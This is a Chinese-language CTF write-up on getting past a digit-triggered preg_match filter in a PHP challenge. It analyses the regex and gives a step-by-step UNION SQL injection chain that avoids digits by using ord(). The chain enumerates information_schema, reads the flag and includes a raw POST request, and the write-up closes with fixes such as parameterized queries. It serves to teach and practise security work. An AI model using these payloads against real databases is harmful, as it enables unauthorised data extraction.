
CTF SQL注入详解无数字绕过 preg_match 正则注入全过程一、前言遇到一道 Pediy 平台的 CTF SQL 注入题源码审计发现后端用preg_match正则过滤了 SQL 注入关键词但正则表达式存在逻辑盲点——仅拦截含数字的恶意输入完全无数字的 Payload 可长驱直入。本文完整记录源码审计 → 正则分析 → 绕过思路 → 注入获取 flag全流程。二、题目源码?phprequire(conf/config.php);if(isset($_REQUEST[id])){$id$_REQUEST[id];if(preg_match(/\d.?\D./is,$id)){die(Attack detected);}$querySELECT text from UserInfo WHERE id .$id.;;$results$conn-query($query);echo学号.$id.成绩为 .$results-fetch_assoc()[text];}?关键点$_REQUEST[id]— 支持 GET / POST / COOKIE 传参$id直接拼接 SQL — 存在SQL 注入preg_match正则拦截 — 存在WAF绕过即可注入三、正则逐段分析正则表达式/\d.?\D./is部分含义说明\d匹配一个数字0-9匹配到数字才开始匹配.?匹配 1 个以上任意字符非贪婪尽可能少地匹配\D匹配一个非数字字符与\d互补.匹配 1 个以上任意字符贪婪尽可能多地匹配i修饰符忽略大小写本题中无字母无关s修饰符.可匹配换行符\n无法通过换行绕过匹配逻辑该正则要匹配成功输入必须同时满足4 个条件数字至少1个任意字符非数字至少1个任意字符举例输入匹配过程结果1 UNION SELECT\d1,.?,\DU,.NION SELECT❌ 被拦截1 OR 11 --\d1,.?,\D,.OR 11 --❌ 被拦截12345全是数字\D永远匹配不到✅ 放行hello没有数字\d永远匹配不到✅ 放行核心漏洞正则没有^和$锚点但只要输入中完全没有数字0-9那么\d在任意位置都匹配失败整个正则返回0未匹配WAF完全失效。四、注入思路绕过方案不使用任何数字构造纯字母/符号的 SQL Payload使输入中不含 0-9 任意数字正则因找不到\d而放行。关键技巧用 MySQL 函数替代硬编码数字SQL 中WHERE id 数字通常需要写一个整数但整数包含数字字符。替代方案是使用 MySQL 函数动态生成数值函数结果说明ord(v)118返回字符 ‘v’ 的 ASCII 码118ord(a)97返回字符 ‘a’ 的 ASCII 码ord(A)65返回大写字母的 ASCII 码ord(0)48注意0是字符不是数字无数字字符 ✅ord(v)既是一个有效的学号假设 118 号有数据又完全不含数字字符两全其美。完整注入链Step 1验证注入存在POST / idord(v) union select hello -- -输入ord(v) union select hello -- -POST 方式传入含数字没有✅ 正则放行SQLSELECTtextfromUserInfoWHEREidord(v)unionselecthello-- -;ord(v)返回 118如果学号 118 存在则返回该行数据再 UNION 追加一行Step 2查数据库名POST / idord(v) union select database() -- -无数字 ✅ 放行Step 3查所有表名POST / idord(v) union select group_concat(table_name) from information_schema.tables where table_schemadatabase() -- -无数字 ✅ 放行Step 4查 flag 表的列名POST / idord(v) union select group_concat(column_name) from information_schema.columns where table_nameflag -- -无数字 ✅ 放行注意假设 flag 表名为flag实际按 Step 3 结果调整Step 5读 flagPOST / idord(v) union select group_concat(flag) from flag -- -无数字 ✅ 放行页面输出 flag。五、最终 PayloadPOST 方式原生 form 表单提交POST / HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded idord(v)unionselectgroup_concat(flag)fromflagsubmitSubmit在 URL 编码中等价于空格所以实际$_REQUEST[id]值为ord(v) union select group_concat(flag) from flag全程无数字正则放行 ✅六、拓展思考如果表和列名含数字怎么办某些场景下表名或列名可能带数字如flag_2024。此时 Payload 中出现数字会触发正则拦截。方案 1用ord()拼接标识符若表名含数字如flag_2024可尝试用别名或动态 SQL 绕过但标识符中的数字无法用ord()替代。此时需换思路。方案 2如果表名/列名固定含数字难以完全绕过本正则可换用id纯数字方式做盲注纯数字放行但注入能力有限。方案 3其他无数字函数MySQL 中还有一系列无数字字符的内置函数可用于注入函数用途含数字version()获取 MySQL 版本❌ 无database()当前数据库名❌ 无user()当前数据库用户❌ 无current_user()当前用户❌ 无now()当前时间❌ 无concat()字符串拼接❌ 无group_concat()分组拼接❌ 无七、正则绕过原理总图输入字符串 │ ├── 含有数字 0-9 ──→ \d 匹配成功 │ │ │ ┌─────┴──────┐ │ │ 后面还有 │ │ │ 非数字字符│ │ ├─────┬──────┤ │ │ 是 │ 否 │ │ │ ❌拦截│ ✅放行│ │ │ │(纯数字)│ │ └─────┘ │ │ │ └── 不含数字 ───────────────→ ✅ 放行 (完全绕过)本题的核心绕过点就是正则依赖\d作为触发条件只要 Payload 中没有 0-9 任意数字整个正则永远不会匹配。八、漏洞总结与修复建议1. 漏洞成因问题说明 正则逻辑缺陷依赖\d触发匹配无数字的 Payload 完全绕过 无锚点限制未加^...$只要某处匹配失败即失效 直接拼接 SQL$id未做转义或参数化查询2. 服务端修复方案✅使用参数化查询Prepared Statement彻底杜绝 SQL 注入✅正则增加锚点^...$并严格限制允许字符if(!preg_match(/^\d$/,$id)){die(Invalid input);}✅使用 intval 强制转整型$idintval($_REQUEST[id]);九、文末小结本题的正则/\d.?\D./is看起来拦截了1 UNION...这类经典注入但致命缺陷在于以\d为触发条件导致不含数字的 Payload 被完全放行。关键技巧在于用ord(v)这样的 MySQL 函数代替硬编码数字——既提供了 SQL 所需的整数值又保证整个 Payload 不含一个数字字符。CTF 经验总结分析正则 WAF 时逐字符审查每个匹配条件。找到正则的触发前提条件然后构造不满足该前提的 Payload 即可绕过——有时不需要绕过正则本身只需要让它不想匹配。而ord()group_concat()的组合是这类题目的经典答案。